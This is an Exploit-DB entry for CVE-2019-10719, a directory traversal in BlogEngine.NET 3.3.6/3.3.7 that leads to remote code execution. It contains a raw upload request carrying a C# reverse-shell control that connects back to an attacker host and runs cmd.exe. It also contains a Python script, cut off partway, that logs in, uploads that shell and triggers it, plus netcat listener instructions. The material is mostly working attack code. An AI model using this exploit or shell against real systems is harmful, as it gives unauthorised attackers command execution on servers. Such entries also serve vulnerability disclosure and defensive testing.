Exploit-DB #47010
Description: BlogEngine.NET 3.3.6/3.3.7 - 'dirPath' Directory Traversal / Remote Code Execution
Type: webapps
Platform: aspx
Date: 2019-06-19
Author: Aaron Bishop

Exploit:
# Exploit Title: Directory Traversal + RCE on BlogEngine.NET
# Date: 17 Jun 2019
# Exploit Author: Aaron Bishop
# Vendor Homepage: https://blogengine.io/
# Version: v3.3.7
# Tested on: 3.3.7, 3.3.6
# CVE : 2019-10719

#1. Description
#==============

#BlogEngine.NET is vulnerable to an Directory Traversal on `/api/upload` which allows a RCE through the `theme` parameter.

#2. Proof of Concept
#=============

#Using an account that has permissions to Edit Posts, upload a malicious file called `PostView.ascx`; exploit the directory traversal to upload the shell into the **/Custom/Themes** #directory:

#~~~
#POST /api/upload?action=filemgr&dirPath=%2f..%2f..%2fCustom%2fThemes%2fRCE_Test HTTP/1.1
#Host: $RHOST
#User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
#Accept: text/plain
#Accept-Language: en-US,en;q=0.5
#Accept-Encoding: gzip, deflate
#Cookie: XXX
#Connection: close
#Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]868871063
#Content-Length: 2085

#----------------------------[PII_REDACTED][PII_REDACTED]868871063
#Content-Disposition: form-data; filename="PostView.ascx"

#<%@ Control Language="C#" AutoEventWireup="true" EnableViewState="false" Inherits="BlogEngine.Core.Web.Controls.PostViewBase" %>
#<%@ Import Namespace="BlogEngine.Core" %>

#<script runat="server">
#static System.IO.StreamWriter streamWriter;

#    protected override void OnLoad(EventArgs e) {
#        base.OnLoad(e);

#using(System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient("$LHOST", 4445)) {
#using(System.IO.Stream stream = client.GetStream()) {
#using(System.IO.StreamReader rdr = new System.IO.StreamReader(stream)) {
#streamWriter = new System.IO.StreamWriter(stream);

#StringBuilder strInput = new StringBuilder();

#System.Diagnostics.Process p = new System.Diagnostics.Process();
#p.StartInfo.FileName = "cmd.exe";
#p.StartInfo.CreateNoWindow = true;
#p.StartInfo.UseShellExecute = false;
#p.StartInfo.RedirectStandardOutput = true;
#p.StartInfo.RedirectStandardInput = true;
#p.StartInfo.RedirectStandardError = true;
#p.OutputDataReceived += new System.Diagnostics.DataReceivedEventHandler(CmdOutputDataHandler);
#p.Start();
#p.BeginOutputReadLine();

#while(true) {
#strInput.Append(rdr.ReadLine());
#p.StandardInput.WriteLine(strInput);
#strInput.Remove(0, strInput.Length);
#    } } } } }

#    private static void CmdOutputDataHandler(object sendingProcess, System.Diagnostics.DataReceivedEventArgs outLine) {
#  StringBuilder strOutput = new StringBuilder();

#        if (!String.IsNullOrEmpty(outLine.Data)) {
#        try {
#                strOutput.Append(outLine.Data);
#                    streamWriter.WriteLine(strOutput);
#                    streamWriter.Flush();
#} catch (Exception err) { }
#       }
#    }
#</script>
#<asp:PlaceHolder ID="phContent" runat="server" EnableViewState="false"></asp:PlaceHolder>

#----------------------------[PII_REDACTED][PII_REDACTED]868871063--
#~~~

#The RCE can be triggered by setting the **theme** parameter to **RCE_TEST**: $RHOST/?theme=RCE_Test

#==============================

import argparse
import io
import json
import os
import re
import requests
import sys

"""
Exploit for CVE-2019-10719

CVE Identified by: Aaron Bishop
Exploit written by: Aaron Bishop

Upload and trigger a reverse shell

python exploit.py -t 192.168.10.9 -l 192.168.10.10:1337

Open a listener to capture the reverse shell - Metasploit or netcat

nc -nlvp 1337
listening on [any] 1337 ...
connect to [192.168.10.10] from (UNKNOWN) [192.168.10.9] 49680
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

"""

urls = {
        "login": "/Account/login.aspx",
        "traversal": "/api/filemanager"
       }


def make_request(session, method, target, params={}, data={}, files={}):
    proxies = {
            "http": "127.0.0.1:8080",
            "https": "127.0.0.1:8080"
              }
    if method == 'GET':
        r = requests.Request(method, target, params=params)
    elif method == 'POST':
        if files:
            r = requests.Request(method, target, files=files)
        else:
            r = requests.Request(method, target, data=data)
    prep = session.prepare_request(r)
    resp = session.send(prep, verify=False, proxies=proxies)
    return resp.text

def login(session, host, user, passwd):
    resp = make_request(session, 'GET', host+urls.get('login'))
    login_form = re.findall('<input\s+.*?name="(?P<name>.*?)"\s+.*?(?P<tag>\s+value="(?P<value>.*)")?\s/>', resp)
    login_data = dict([(i[0],i[2]) for i in login_form])
    login_data.update({'ctl00$MainContent$LoginUser$UserName': user})
    login_data.update({'ctl00$MainContent$LoginUser$Password': passwd})
    resp = make_request(session, 'POST', host+urls.get('login'), data=login_data)

def upload_shell(session, target, shell_dir, listener):
    try:
        lhost, lport = listener.split(':')
    except:
       print(target, " is not in the correct HOST:PORT format")
       sys.exit(1)

    shell = '''<%@ Control Language="C#" AutoEventWireup="true" EnableViewState="false" Inherits="BlogEngine.Core.Web.Controls.PostViewBase" %>
<%@ Import Namespace="BlogEngine.Core" %>

<script runat="server">
	static System.IO.StreamWriter streamWriter;

    protected override void OnLoad(EventArgs e) {
        base.OnLoad(e);

	using(System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient("''' + lhost + '''", ''' + lport + ''')) {
		using(System.IO.Stream stream = client.GetStream()) {
			using(System.IO.StreamReader rdr = new System.IO.StreamReader(stream)) {
				streamWriter = new System.IO.StreamWriter(stream);

				StringBuilder strInput = new StringBuilder();

				System.Diagnostics.Process p = new System.Diagnostics.Process();
				p.StartInfo.FileName